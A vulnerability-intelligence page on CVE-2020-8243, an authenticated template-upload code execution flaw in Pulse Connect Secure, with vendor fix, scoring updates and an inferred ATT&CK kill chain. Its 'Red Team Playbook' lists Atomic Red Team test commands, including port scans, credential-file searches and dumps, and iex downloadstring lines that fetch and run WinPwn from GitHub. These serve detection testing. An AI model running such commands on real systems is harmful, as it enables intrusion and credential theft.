CVE-2020-8243

HIGH CISA KEV Pub 29/09 Upd 21/10

Overview

This vulnerability is a code injection flaw rooted in improper input validation within the administrative web interface of Pulse Connect Secure versions prior to 9.1R8.2. Specifically, the system allows authenticated users to upload custom templates without adequate sanitization, enabling malicious code to be embedded and executed. The affected component is the template upload functionality in the admin interface, which fails to restrict or validate the content of uploaded templates, leading to arbitrary code execution.

Vulnerability Description

A vulnerability in the Pulse Connect Secure < 9.1R8.2 admin web interface could allow an authenticated attacker to upload custom template to perform an arbitrary code execution.

Impact

An attacker with administrative credentials can leverage this vulnerability to execute arbitrary code on the Pulse Connect Secure server, potentially gaining full control over the system. This enables unauthorized access to sensitive data, manipulation of system functions, and the ability to disrupt services. The prerequisite is possession of a valid admin-level account, which may be obtained through credential compromise or insider threat. The real-world consequence includes complete system compromise, data breaches, and potential lateral movement within the network environment.

Solution

Ivanti has released security advisory SA44588 addressing this issue in Pulse Connect Secure. The vulnerability is fixed in version 9.1R8.2 and later. Administrators are advised to upgrade affected systems to at least version 9.1R8.2. Detailed patch instructions and additional mitigation guidance are available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44588. No other workarounds are recommended beyond applying the vendor-supplied update.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Pulse Connect Secure admin web interface allows authenticated attackers to upload custom templates, leading to arbitrary code execution. This flaw arises from inadequate input validation and insufficient restrictions on file uploads, which can enable malicious users to execute unauthorized commands on the server. The affected versions of Pulse Connect Secure, particularly those prior to 9.1R8.2, lack the necessary safeguards to prevent such exploitation. By leveraging this vulnerability, an attacker can manipulate the system to run arbitrary code, potentially compromising the integrity and confidentiality of the underlying infrastructure.

Exploitation of this vulnerability can occur through several attack vectors. An authenticated user, who may have legitimate access to the admin interface, can upload a crafted template file containing malicious code. Once uploaded, this file can be executed by the server, allowing the attacker to gain control over the system. Scenarios may include leveraging stolen credentials or exploiting weak authentication mechanisms to gain access to the admin interface. Additionally, if the attacker can escalate privileges, they could further exploit the system, leading to a broader compromise of the network and its resources.

The real-world impact of this vulnerability is significant, particularly for organizations relying on Pulse Connect Secure for secure remote access. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The business risks associated with such incidents include financial losses, reputational damage, and legal ramifications stemming from non-compliance with data protection regulations. Organizations may face operational challenges as they respond to incidents, conduct investigations, and implement remediation measures. The potential for widespread damage underscores the importance of addressing this vulnerability promptly.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the system and ensure that all software is up to date. Monitoring logs for unusual activity, particularly around file uploads and administrative actions, can provide early warning signs of exploitation attempts. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel can access the admin interface. Implementing a web application firewall (WAF) can also help filter out malicious requests and provide an additional layer of security.

In conclusion, the vulnerability in the Pulse Connect Secure admin web interface represents a serious threat to organizations that utilize this product. The potential for arbitrary code execution through file uploads poses significant risks, including unauthorized access and data breaches. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate the associated risks. Proactive measures, including regular updates, monitoring, and access controls, are essential to safeguard against exploitation and protect sensitive information.




CVE-2020-8243 has been newly incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting increased governmental prioritization and formal mitigation deadlines. This inclusion elevates the vulnerability’s profile, signaling that federal agencies and critical infrastructure sectors are expected to address it promptly by the specified due date. Concurrently, the CVSS score has been updated from 0.0 to 7.2, aligning with its recognized potential for arbitrary code execution via authenticated access. The emergence of a measurable Exploit Prediction Scoring System (EPSS) score at 0.1322 further indicates a tangible likelihood of exploitation attempts in the wild, although current trends show a slight decrease in activity. While no new exploit techniques or ransomware associations have been identified through our telemetry, the formal recognition by CISA and the quantifiable EPSS score underscore a heightened risk posture. Defenders should interpret these developments as a clear signal that this vulnerability has moved from theoretical to practical concern, warranting prioritized attention within vulnerability management programs. Overall, the threat level has increased from negligible to high, reflecting both the technical severity and the operational urgency imposed by regulatory directives.



Update 2 — June 13, 2026

Recent updates from CSURFACE threat intelligence indicate a marked escalation in the exploit prediction score for CVE-2020-8243, with the EPSS rising sharply by over 55% to a current level placing it near the top percentile of predicted exploitation likelihood. This increase reflects a growing confidence in the vulnerability’s active targeting potential, despite the absence of new exploit code or ransomware group associations in our telemetry. The upward trend in EPSS, coupled with the formal inclusion of this vulnerability in the Known Exploited Vulnerabilities catalog and corresponding CISA directives, signals a shift from theoretical risk to imminent operational threat. For defenders, this evolution underscores the urgency of prioritizing CVE-2020-8243 within patch management and monitoring strategies, as the vulnerability’s exploitation window is now demonstrably expanding. Consequently, the threat level has escalated from moderate to high, driven by both quantitative risk metrics and regulatory emphasis, indicating that adversaries are increasingly likely to leverage this flaw in targeted intrusions.



Update 3 — August 04, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-8243, indicating increased adversary interest and potential preparatory actions targeting vulnerable Pulse Connect Secure instances. While no new exploit variants or ransomware affiliations have been observed, the sharp rise in telemetry signals suggests that threat actors are intensifying reconnaissance or initial access attempts leveraging this vulnerability. This development elevates the operational urgency for defenders to enhance monitoring and prioritize remediation efforts, as the expanding exploitation window increases the likelihood of successful intrusions. Consequently, the threat level associated with CVE-2020-8243 should be reassessed upward to reflect a higher probability of active exploitation, reinforcing its criticality within enterprise risk management frameworks.

Affected Products (28)

Vendor Product Version CPE
ivanti Ivanti Connect Secure All cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r6:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r7:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r8:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r8.1:*:*:*:*:*:*
ivanti Ivanti Policy Secure All cpe:2.3:a:ivanti:policy_secure:*:*:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:-:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r2:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r3:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r4:*:*:*:*:*:*
+8 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

7 events
2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
File Upload Vulnerabilities
98% file_upload
Code Injection
80% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
48%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
38%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-8243
kb.pulsesecure.net
GitHub CVE x_refsource_MISC
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44588
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8243